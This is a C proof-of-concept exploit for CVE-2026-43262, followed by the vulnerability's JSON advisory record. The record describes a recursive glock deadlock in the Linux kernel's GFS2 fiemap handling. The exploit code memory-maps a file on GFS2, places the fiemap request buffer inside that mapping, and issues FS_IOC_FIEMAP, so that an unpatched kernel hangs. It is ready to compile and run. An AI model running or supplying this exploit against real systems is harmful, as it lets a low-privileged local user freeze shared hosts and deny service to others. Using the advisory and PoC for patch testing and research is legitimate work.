CVE-2026-43262

/* * PoC for CVE-2026-43262: Trigger recursive glock in GFS2 * Compile: gcc -o poc_gfs2 poc_gfs2.c * Usage: ./poc_gfs2 /path/to/file/on/gfs2 */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <linux/fs.h> #include <linux/fiemap.h> #include <unistd.h> int main(int argc, char *argv[]) { if (argc != 2) { fprintf(stderr, "Usage: %s <file_on_gfs2>\n", argv[0]); return 1; } int fd = open(argv[1], O_RDWR); if (fd < 0) { perror("open"); return 1; } // Map the file into memory. This creates the page table entries. char *map = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); close(fd); return 1; } // Prepare the fiemap structure inside the mapped memory region. // This makes the kernel write to the file itself while holding the lock. struct fiemap *fiemap = (struct fiemap *)map; fiemap->fm_start = 0; fiemap->fm_length = 4096; // ~UINT64_MAX; fiemap->fm_flags = 0; fiemap->fm_extent_count = 1; fiemap->fm_reserved = 0; printf("[+] Triggering FS_IOC_FIEMAP with buffer mapped to the same inode...\n"); // This ioctl call will trigger the page fault inside gfs2_fiemap // while holding the glock, causing the deadlock. if (ioctl(fd, FS_IOC_FIEMAP, fiemap) < 0) { perror("ioctl"); // If the kernel hangs, this might not print. } printf("[+] Exploit finished. System might be unresponsive if vulnerable.\n"); munmap(map, 4096); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43262", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:47.133", "lastModified": "2026-05-08T20:41:51.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: fiemap page fault fix\n\nIn gfs2_fiemap(), we are calling iomap_fiemap() while holding the inode\nglock. This can lead to recursive glock taking if the fiemap buffer is\nmemory mapped to the same inode and accessing it triggers a page fault.\n\nFix by disabling page faults for iomap_fiemap() and faulting in the\nbuffer by hand if necessary.\n\nFixes xfstest generic/742."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.29", "versionEndExcluding": "5.15.202", "matchCriteriaId": "BFD6DB13-E4DD-4597-8753-D32E22F84262"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2e121c53b581e40397ae08090a7af4ed10781fbc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5d2c4f182ea8516de8682e2b60411c03df00e3ea", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5d5d9ec957bfa1eb2b05861c19f5d701dd006db7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9d15fee888f0e8938c9aeed71ec9c2cbba0c88ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cead3bebf3e318578b8a86a5472015d713d2a8a8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e411d74cc5ba290f85d0dd5e4d1df8f1d6d975d2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e428670cfb2993d8c224effd076242ca6b0950de", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}